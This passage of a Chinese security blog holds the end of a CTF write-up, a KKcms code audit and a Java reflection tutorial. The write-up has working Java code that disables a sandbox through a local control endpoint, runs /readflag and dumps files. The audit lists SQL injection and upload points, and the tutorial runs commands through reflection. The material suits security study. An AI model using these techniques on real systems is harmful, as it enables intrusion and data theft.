class="number">0</span>; i -= <span class="number">8</span>) {</span><br><span class="line"> <span class="type">String</span> <span class="variable">segment</span> <span class="operator">=</span> ipHex.substring(Math.max(i - <span class="number">8</span>, <span class="number">0</span>), i);</span><br><span class="line"> <span class="type">StringBuilder</span> <span class="variable">segBuilder</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>();</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> segment.length(); j > <span class="number">0</span>; j -= <span class="number">2</span>) {</span><br><span class="line"> segBuilder.append(segment.substring(j - <span class="number">2</span>, j));</span><br><span class="line"> }</span><br><span class="line"> ipBuilder.insert(<span class="number">0</span>, segBuilder.toString());</span><br><span class="line"> <span class="keyword">if</span> (i > <span class="number">8</span>) {</span><br><span class="line"> ipBuilder.insert(<span class="number">0</span>, <span class="string">":"</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> ip = ipBuilder.toString();</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// IPv4 address parsing</span></span><br><span class="line"> <span class="type">StringBuilder</span> <span class="variable">ipBuilder</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>();</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> ipHex.length(); i > <span class="number">0</span>; i -= <span class="number">2</span>) {</span><br><span class="line"> <span class="type">String</span> <span class="variable">part</span> <span class="operator">=</span> ipHex.substring(i - <span class="number">2</span>, i);</span><br><span class="line"> <span class="type">int</span> <span class="variable">num</span> <span class="operator">=</span> Integer.parseInt(part, <span class="number">16</span>);</span><br><span class="line"> ipBuilder.insert(<span class="number">0</span>, num);</span><br><span class="line"> <span class="keyword">if</span> (i > <span class="number">2</span>) {</span><br><span class="line"> ipBuilder.insert(<span class="number">0</span>, <span class="string">"."</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> ip = ipBuilder.toString();</span><br><span class="line"> }</span><br><span class="line"> <span class="type">int</span> <span class="variable">port</span> <span class="operator">=</span> Integer.parseInt(portHex, <span class="number">16</span>);</span><br><span class="line"> System.out.println(<span class="string">"Listening on "</span> + ip + <span class="string">":"</span> + port);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> reader.close();</span><br><span class="line"> } <span class="keyword">catch</span> (java.io.IOException e) {</span><br><span class="line"> System.out.println(e);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"><span class="keyword">try</span> {</span><br><span class="line"> java.net.<span class="type">URL</span> <span class="variable">url</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">java</span>.net.URL(<span class="string">"http://127.0.0.1:46461/sandbox/default/module/http/sandbox-control/shutdown"</span>);</span><br><span class="line"> java.net.<span class="type">HttpURLConnection</span> <span class="variable">connection</span> <span class="operator">=</span> (java.net.HttpURLConnection) url.openConnection();</span><br><span class="line"> connection.setRequestMethod(<span class="string">"GET"</span>);</span><br><span class="line"> java.io.<span class="type">BufferedReader</span> <span class="variable">reader</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">java</span>.io.BufferedReader(</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">java</span>.io.InputStreamReader(connection.getInputStream())</span><br><span class="line"> );</span><br><span class="line"> String line;</span><br><span class="line"> <span class="type">StringBuilder</span> <span class="variable">response</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>();</span><br><span class="line"> <span class="keyword">while</span> ((line = reader.readLine()) != <span class="literal">null</span>) {</span><br><span class="line"> response.append(line).append(<span class="string">"\n"</span>);</span><br><span class="line"> }</span><br><span class="line"> reader.close();</span><br><span class="line"> connection.disconnect();</span><br><span class="line"> System.out.println(response.toString()); System.out.println(connection.getResponseCode());</span><br><span class="line"> } <span class="keyword">catch</span> (java.io.IOException e) {</span><br><span class="line"> System.out.println(e);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="type">String</span> <span class="variable">command</span> <span class="operator">=</span> <span class="string">"/readflag"</span>; <span class="comment">// Use "dir" on Windows</span></span><br><span class="line"> java.lang.<span class="type">Process</span> <span class="variable">process</span> <span class="operator">=</span> java.lang.Runtime.getRuntime().exec(command);</span><br><span class="line"> java.io.<span class="type">BufferedReader</span> <span class="variable">reader</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">java</span>.io.BufferedReader(</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">java</span>.io.InputStreamReader(process.getInputStream())</span><br><span class="line"> );</span><br><span class="line"> String line;</span><br><span class="line"> <span class="keyword">while</span> ((line = reader.readLine()) != <span class="literal">null</span>) {</span><br><span class="line"> System.out.println(line);</span><br><span class="line"> }</span><br><span class="line"> reader.close();</span><br><span class="line"> process.waitFor();</span><br><span class="line"> } <span class="keyword">catch</span> (Exception e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"><span class="comment">/*try{</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">java.io.File folder = new java.io.File("/home");</span></span><br><span class="line"><span class="comment"> if (!folder.isDirectory()) {</span></span><br><span class="line"><span class="comment"> System.out.println("Provided path is not a folder");</span></span><br><span class="line"><span class="comment"> return;</span></span><br><span class="line"><span class="comment"> }</span></span><br><span class="line"><span class="comment"> java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();</span></span><br><span class="line"><span class="comment"> java.util.zip.ZipOutputStream zos = new java.util.zip.ZipOutputStream(baos);</span></span><br><span class="line"><span class="comment"> java.util.Stack<java.io.File> stack = new java.util.Stack<java.io.File>();</span></span><br><span class="line"><span class="comment"> stack.push(folder);</span></span><br><span class="line"><span class="comment"> while (!stack.isEmpty()) {</span></span><br><span class="line"><span class="comment"> java.io.File currentFile = stack.pop();</span></span><br><span class="line"><span class="comment"> if (currentFile.isDirectory()) {</span></span><br><span class="line"><span class="comment"> java.io.File[] fileList = currentFile.listFiles();</span></span><br><span class="line"><span class="comment"> if (fileList != null) {</span></span><br><span class="line"><span class="comment"> for (int i = 0; i < fileList.length; i++) {</span></span><br><span class="line"><span class="comment"> stack.push(fileList[i]);</span></span><br><span class="line"><span class="comment"> }</span></span><br><span class="line"><span class="comment"> }</span></span><br><span class="line"><span class="comment"> } else {</span></span><br><span class="line"><span class="comment"> java.io.FileInputStream fis = new java.io.FileInputStream(currentFile);</span></span><br><span class="line"><span class="comment"> String zipEntryName = currentFile.getAbsolutePath().substring(folder.getAbsolutePath().length() + 1);</span></span><br><span class="line"><span class="comment"> zos.putNextEntry(new java.util.zip.ZipEntry(zipEntryName));</span></span><br><span class="line"><span class="comment"> byte[] buffer = new byte[1024];</span></span><br><span class="line"><span class="comment"> int length;</span></span><br><span class="line"><span class="comment"> while ((length = fis.read(buffer)) > 0) {</span></span><br><span class="line"><span class="comment"> zos.write(buffer, 0, length);</span></span><br><span class="line"><span class="comment"> }</span></span><br><span class="line"><span class="comment"> fis.close();</span></span><br><span class="line"><span class="comment"> zos.closeEntry();</span></span><br><span class="line"><span class="comment"> }</span></span><br><span class="line"><span class="comment"> }</span></span><br><span class="line"><span class="comment"> zos.close();</span></span><br><span class="line"><span class="comment"> byte[] zipBytes = baos.toByteArray();</span></span><br><span class="line"><span class="comment"> StringBuilder hexString = new StringBuilder();</span></span><br><span class="line"><span class="comment"> for (int i = 0; i < zipBytes.length; i++) {</span></span><br><span class="line"><span class="comment"> String hex = Integer.toHexString(0xff & zipBytes[i]);</span></span><br><span class="line"><span class="comment"> if (hex.length() == 1) hexString.append('0');</span></span><br><span class="line"><span class="comment"> hexString.append(hex);</span></span><br><span class="line"><span class="comment"> }</span></span><br><span class="line"><span class="comment"> System.out.println(hexString.toString());</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">}catch(Exception e){System.out.println(e);}*/</span></span><br></pre></td></tr></table></figure>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">#读取文件</span><br><span class="line"></span><br><span class="line">try { </span><br><span class="line"> java.io.File file = new java.io.File("/home/ctf/sandbox/lib/sandbox-agent.jar"); // 需要读取的二进制文件 </span><br><span class="line"> java.io.BufferedInputStream bis = new java.io.BufferedInputStream(new java.io.FileInputStream(file)); </span><br><span class="line"> byte[] buffer = new byte[1024]; // 创建一个字节数组作为缓冲区 </span><br><span class="line"> int bytesRead; </span><br><span class="line"> while ((bytesRead = bis.read(buffer)) != -1) { // 循环读取 </span><br><span class="line"> // 处理读取的数据(这里可以进行打印、处理等) </span><br><span class="line"> //System.out.write(buffer, 0, bytesRead); </span><br><span class="line">System.out.print('"'); </span><br><span class="line"> System.out.print(java.util.Base64.getEncoder().encodeToString(buffer)); </span><br><span class="line">System.out.println("\","); </span><br><span class="line"> } </span><br><span class="line"> } catch ( </span><br><span class="line">java.io.IOException e) { </span><br><span class="line"> e.printStackTrace(); </span><br><span class="line"> }</span><br></pre></td></tr></table></figure>
<p>其实比赛的时候想过用base64将文件编码读取,但是因为数据过大导致网页卡死了就没有继续想过了</p>
<hr>
<p>唉,还得继续学,太菜了</p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
<article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
<link itemprop="mainEntityOfPage" href="http://example.com/2024/10/15/KKcms%E4%BB%A3%E5%AE%A1/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="吕宙航">
<meta itemprop="description" content="">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="lvzhouhang">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2024/10/15/KKcms%E4%BB%A3%E5%AE%A1/" class="post-title-link" itemprop="url">KKcms代审</a>
</h2>
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-o"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建时间:2024-10-15 01:48:36 / 修改时间:03:37:13" itemprop="dateCreated datePublished" datetime="2024-10-15T01:48:36+08:00">2024-10-15</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-folder-o"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/" itemprop="url" rel="index"><span itemprop="name">代码审计</span></a>
</span>
</span>
<br>
<span class="post-meta-item" title="本文字数">
<span class="post-meta-item-icon">
<i class="fa fa-file-word-o"></i>
</span>
<span class="post-meta-item-text">本文字数:</span>
<span>1.8k</span>
</span>
<span class="post-meta-item" title="阅读时长">
<span class="post-meta-item-icon">
<i class="fa fa-clock-o"></i>
</span>
<span class="post-meta-item-text">阅读时长 ≈</span>
<span>2 分钟</span>
</span>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h1 id="环境安装"><a href="#环境安装" class="headerlink" title="环境安装"></a>环境安装</h1><p>源码下载地址:<a target="_blank" rel="noopener" href="https://github.com/erichuang2015/kkcms">https://github.com/erichuang2015/kkcms</a></p>
<p>php5.6 .9+mysql5.7.26+apache2.4.39</p>
<h1 id="审计"><a href="#审计" class="headerlink" title="审计"></a>审计</h1><h3 id="验证码复用"><a href="#验证码复用" class="headerlink" title="验证码复用"></a>验证码复用</h3><p><img src="/pic/kkcms/verify1.png"></p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><img src=<span class="string">"../system/verifycode.php"</span> onclick=<span class="string">"javascript:this.src='../system/verifycode.php?'+Math.random()"</span> style=<span class="string">"cursor:pointer;"</span> alt=<span class="string">"点击更换"</span> title=<span class="string">"点击更换"</span> /></span><br></pre></td></tr></table></figure>
<p>这串代码用来执行js代码更换验证码,但是bp它默认不加载js,所以造成了验证码复用。</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="title function_ invoke__">session_start</span>();</span><br><span class="line"><span class="variable">$image</span> = <span class="title function_ invoke__">imagecreate</span>(<span class="number">50</span>, <span class="number">34</span>);</span><br><span class="line"><span class="variable">$bcolor</span> = <span class="title function_ invoke__">imagecolorallocate</span>(<span class="variable">$image</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line"><span class="variable">$fcolor</span> = <span class="title function_ invoke__">imagecolorallocate</span>(<span class="variable">$image</span>, <span class="number">255</span>, <span class="number">255</span>, <span class="number">255</span>);</span><br><span class="line"><span class="variable">$str</span> = <span class="string">'0123456789'</span>;</span><br><span class="line"><span class="variable">$rand_str</span> = <span class="string">''</span>;</span><br><span class="line"><span class="keyword">for</span> (<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> < <span class="number">4</span>; <span class="variable">$i</span>++){</span><br><span class="line"> <span class="variable">$k</span> = <span class="title function_ invoke__">mt_rand</span>(<span class="number">1</span>, <span class="title function_ invoke__">strlen</span>(<span class="variable">$str</span>));</span><br><span class="line"> <span class="variable">$rand_str</span> .= <span class="variable">$str</span>[<span class="variable">$k</span> - <span class="number">1</span>];</span><br><span class="line">}</span><br><span class="line"><span class="variable">$_SESSION</span>[<span class="string">'verifycode'</span>] = <span class="variable">$rand_str</span>;</span><br><span class="line"><span class="title function_ invoke__">imagefill</span>(<span class="variable">$image</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="variable">$bcolor</span>);</span><br><span class="line"><span class="title function_ invoke__">imagestring</span>(<span class="variable">$image</span>, <span class="number">7</span>, <span class="number">7</span>, <span class="number">10</span>, <span class="variable">$rand_str</span>, <span class="variable">$fcolor</span>);</span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">'content-type:image/png'</span>);</span><br><span class="line"><span class="title function_ invoke__">imagepng</span>(<span class="variable">$image</span>);</span><br><span class="line"><span class="meta">?></span></span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>verifycode.php的代码,就是生成一个随机的4位0-9的图片验证码</p>
<h3 id="文件上传"><a href="#文件上传" class="headerlink" title="文件上传"></a>文件上传</h3><p>这个cms默认用的编辑器是KindEditor,版本是4.1.10,构造payload</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><html><form enctype="multipart/form-data" action="http://127.0.0.1/editor/php/upload_json.php" method="post"> Upload a new file:<br> <input type="file" name="imgFile" size="50"><br> <input type="submit" value="Upload"> </form></html></span><br></pre></td></tr></table></figure>
<p>可以直接上传文件,但是没什么用。</p>
<p><img src="/pic/kkcms/upload1.png"></p>
<p>而且他有白名单,只能上传指定的后缀文件。</p>
<h3 id="前台sql注入"><a href="#前台sql注入" class="headerlink" title="前台sql注入"></a>前台sql注入</h3><p>在<code>template\wapian\vlist.php</code>这里</p>
<p><img src="/pic/kkcms/sql1.png"></p>
<p>我们可以看到他没有任何的防护,但其实是有防护的,vlist.php里包含了system/inc.php,而inc.php中有一个转义的函数</p>
<p><img src="/pic/kkcms/sql2.png"></p>
<p>但是这里为什么可以注入呢?是因为这里是数字型注入,没有用双引号包裹,自然也不用双引号进行闭合,addslashes也就没起上作用,放进sqlmap里就可以跑出来。</p>
<p><img src="/pic/kkcms/sql3.png"></p>
<h3 id="前台sql注入2"><a href="#前台sql注入2" class="headerlink" title="前台sql注入2"></a>前台sql注入2</h3><p>在ucenter\reg.php里</p>
<p><img src="/pic/kkcms/sql4.png"></p>
<p>这里为什么可以注入呢?这里是因为他有一个stripslashes函数,它会删除由addslashes添加上的斜杠,放进sqlmap里跑</p>
<p><img src="/pic/kkcms/sql5.png"></p>
<p>也是可以跑出来盲注。搜索stripslashes关键字,可以找到repass.php和active.php同样有注入。</p>
<h3 id="后台sql注入"><a href="#后台sql注入" class="headerlink" title="后台sql注入"></a>后台sql注入</h3><p>在cms_usergroup_edit.php处</p>
<p><img src="/pic/kkcms/sql6.png"></p>
<p>修改会员级别处有盲注,但是sql跑不出来不知道为什么。然后和此处一样的还有cms_ad_edit.php、cms_admin_edit.php、cms_book_edit.php、cms_channel_edit.php</p>
<p>还有一处</p>
<p><img src="/pic/kkcms/sql7.png"></p>
<p>这里有delete注入,整个后台的delete语句全是这样写的。</p>
<hr>
<p>XSS漏洞就不审计了,这个cms就这样吧,一个比较简单的cms。</p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
<article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
<link itemprop="mainEntityOfPage" href="http://example.com/2024/05/31/java%E5%8F%8D%E5%B0%84/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="吕宙航">
<meta itemprop="description" content="">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="lvzhouhang">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2024/05/31/java%E5%8F%8D%E5%B0%84/" class="post-title-link" itemprop="url">java反射</a>
</h2>
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-o"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建时间:2024-05-31 08:44:30" itemprop="dateCreated datePublished" datetime="2024-05-31T08:44:30+08:00">2024-05-31</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-check-o"></i>
</span>
<span class="post-meta-item-text">更新于</span>
<time title="修改时间:2024-06-01 14:27:48" itemprop="dateModified" datetime="2024-06-01T14:27:48+08:00">2024-06-01</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-folder-o"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/JAVA/" itemprop="url" rel="index"><span itemprop="name">JAVA</span></a>
</span>
</span>
<br>
<span class="post-meta-item" title="本文字数">
<span class="post-meta-item-icon">
<i class="fa fa-file-word-o"></i>
</span>
<span class="post-meta-item-text">本文字数:</span>
<span>8.5k</span>
</span>
<span class="post-meta-item" title="阅读时长">
<span class="post-meta-item-icon">
<i class="fa fa-clock-o"></i>
</span>
<span class="post-meta-item-text">阅读时长 ≈</span>
<span>8 分钟</span>
</span>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h2 id="什么是反射"><a href="#什么是反射" class="headerlink" title="什么是反射"></a>什么是反射</h2><p>反射是大多数语言都必不可少的组成部分,对象可以通过反射获取他的类,类可以通过反射拿到所有⽅法(包括私有),拿到的⽅法可以调⽤,总之通过“反射”,我们可以将 Java 这种静态语⾔附加上动态特性。</p>
<h2 id="Java反射组成相关的类"><a href="#Java反射组成相关的类" class="headerlink" title="Java反射组成相关的类"></a>Java反射组成相关的类</h2><p>java.lang.Class:类对象;</p>
<p>java.lang.reflect.Constructor:类的构造器对象;</p>
<p>java.lang.reflect.Field:类的属性对象;</p>
<p>java.lang.reflect.Method:类的方法对象;</p>
<h2 id="实例化对象的方法"><a href="#实例化对象的方法" class="headerlink" title="实例化对象的方法"></a>实例化对象的方法</h2><h4 id="实例化对象的getClass-方法"><a href="#实例化对象的getClass-方法" class="headerlink" title="实例化对象的getClass()方法"></a>实例化对象的getClass()方法</h4><p>如果上下⽂中存在某个类的实例 <code>obj</code>,那么我们可以通过 <code>obj.getClass</code> 来获取它的类。</p>
<h4 id="使用类的-class-方法"><a href="#使用类的-class-方法" class="headerlink" title="使用类的 .class 方法"></a>使用类的 .class 方法</h4><p>如果你已经加载了某个类,只是想获取到它的 <code>java.lang.Class</code> 对象,那么就直接拿它的 <code>class</code> 属性即可。这个⽅法其实不属于反射。</p>
<h4 id="Class-forName-String-className-:动态加载类"><a href="#Class-forName-String-className-:动态加载类" class="headerlink" title="Class.forName(String className):动态加载类"></a>Class.forName(String className):动态加载类</h4><p>如果你知道某个类的名字,想获取到这个类,就可以使⽤ <code>forName</code> 来获取,后续要利用的话是需要实例化的。</p>
<h2 id="获取成员变量Field"><a href="#获取成员变量Field" class="headerlink" title="获取成员变量Field"></a>获取成员变量Field</h2><p>获取成员变量Field位于 <code>java.lang.reflect.Field</code> 包中</p>
<p>Field[] getFields() :获取所有 public 修饰的成员变量</p>
<p>Field[] getDeclaredFields() 获取所有的成员变量,不考虑修饰符</p>
<p>Field getField(String name) 获取指定名称的 public 修饰的成员变量</p>
<p>Field getDeclaredField(String name) 获取指定的成员变量</p>
<h2 id="获取成员方法-Method"><a href="#获取成员方法-Method" class="headerlink" title="获取成员方法 Method"></a>获取成员方法 Method</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">Method <span class="title function_">getMethod</span><span class="params">(String name, 类<?>... parameterTypes)</span> <span class="comment">//返回该类所声明的public方法</span></span><br><span class="line"></span><br><span class="line">Method <span class="title function_">getDeclaredMethod</span><span class="params">(String name, 类<?>... parameterTypes)</span> <span class="comment">//返回该类所声明的所有方法</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//第一个参数获取该方法的名字,第二个参数获取标识该方法的参数类型</span></span><br><span class="line"></span><br><span class="line">Method[] getMethods() <span class="comment">//获取所有的public方法,包括类自身声明的public方法,父类中的public方法、实现的接口方法</span></span><br><span class="line"></span><br><span class="line">Method[] getDeclaredMethods() <span class="comment">// 获取该类中的所有方法</span></span><br></pre></td></tr></table></figure>
<h2 id="获取构造函数-Constructor"><a href="#获取构造函数-Constructor" class="headerlink" title="获取构造函数 Constructor"></a>获取构造函数 Constructor</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Constructor<?>[] getConstructors() :只返回<span class="keyword">public</span>构造函数</span><br><span class="line"></span><br><span class="line">Constructor<?>[] getDeclaredConstructors() :返回所有构造函数</span><br><span class="line"></span><br><span class="line">Constructor<> getConstructor(类<?>... parameterTypes) : 匹配和参数配型相符的<span class="keyword">public</span>构造函数</span><br><span class="line"></span><br><span class="line">Constructor<> getDeclaredConstructor(类<?>... parameterTypes) : 匹配和参数配型相符的构造函数</span><br></pre></td></tr></table></figure>
<h2 id="命令执行"><a href="#命令执行" class="headerlink" title="命令执行"></a>命令执行</h2><p>获取 class 实例 之后</p>
<ul>
<li>获取类名:<code>forName()</code></li>
<li>创建对应类型的实例:<code>newInstance()</code></li>
<li>获取字段的值:<code>get()</code>、设置字段的值:<code>set()</code></li>
<li>获取方法:<code>getMethod()</code>、调用方法:<code>invoke()</code></li>
</ul>
<hr>
<p>基本知识就是这些,如何执行命令呢,举个例子</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> src;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">FinalReflectionCalc</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception{</span><br><span class="line"> <span class="type">Class</span> <span class="variable">c1</span> <span class="operator">=</span> Class.forName(<span class="string">"java.lang.Runtime"</span>);<span class="comment">//创建一个runtime的方法</span></span><br><span class="line"> <span class="type">Method</span> <span class="variable">c2</span> <span class="operator">=</span> c1.getDeclaredMethod(<span class="string">"getRuntime"</span>);<span class="comment">//获取getRuntime的方法</span></span><br><span class="line"> c2.setAccessible(<span class="literal">true</span>);<span class="comment">//使getRuntime可访问,因为getRuntime是私有属性</span></span><br><span class="line"> <span class="type">Object</span> <span class="variable">o1</span> <span class="operator">=</span> c2.invoke(<span class="literal">null</span>);<span class="comment">//调用静态方法,无需实例</span></span><br><span class="line"> <span class="type">Method</span> <span class="variable">m1</span> <span class="operator">=</span> c1.getDeclaredMethod(<span class="string">"exec"</span>,String.class);<span class="comment">//获取exec方法</span></span><br><span class="line"> m1.invoke(o1,<span class="string">"calc"</span>);<span class="comment">//弹计算器</span></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>这是调用静态方法,不需要实例</p>
<p>当然也可以实现一个新实例</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> src;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Constructor;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">FinalReflectionCalc</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception{</span><br><span class="line"> <span class="type">Class</span> <span class="variable">c1</span> <span class="operator">=</span> Class.forName(<span class="string">"java.lang.Runtime"</span>);<span class="comment">//获取Runtime的Class对象</span></span><br><span class="line"> Constructor c2=c1.getDeclaredConstructor();<span class="comment">//获取Runtime类的无参构造函数</span></span><br><span class="line"> c2.setAccessible(<span class="literal">true</span>);<span class="comment">//使getRuntime可访问</span></span><br><span class="line"> Object c3=c2.newInstance();<span class="comment">//创建Runtime的新实例</span></span><br><span class="line"> <span class="type">Method</span> <span class="variable">exec</span> <span class="operator">=</span> c1.getDeclaredMethod(<span class="string">"exec"</span>, String.class);</span><br><span class="line"> exec.invoke(c3,<span class="string">"calc"</span>);<span class="comment">//弹计算器</span></span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p><a target="_blank" rel="noopener" href="https://drun1baby.top/2022/05/20/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9F%BA%E7%A1%80%E7%AF%87-02-Java%E5%8F%8D%E5%B0%84%E4%B8%8EURLDNS%E9%93%BE%E5%88%86%E6%9E%90/#0x08-%E5%88%A9%E7%94%A8%E5%8F%8D%E5%B0%84%E5%BC%B9%E8%AE%A1%E7%AE%97%E5%99%A8">Java反序列化基础篇-02-Java反射与URLDNS链分析</a>参考链接,写的很清晰</p>
<p><a target="_blank" rel="noopener" href="https://www.cnblogs.com/noKing/p/9038234.html#/">Java反射</a></p>
<hr>
<h2 id="Java反射修改字段"><a href="#Java反射修改字段" class="headerlink" title="Java反射修改字段"></a>Java反射修改字段</h2><h3 id="private"><a href="#private" class="headerlink" title="private"></a>private</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> src;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.InvocationTargetException;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PrivateReflect</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span 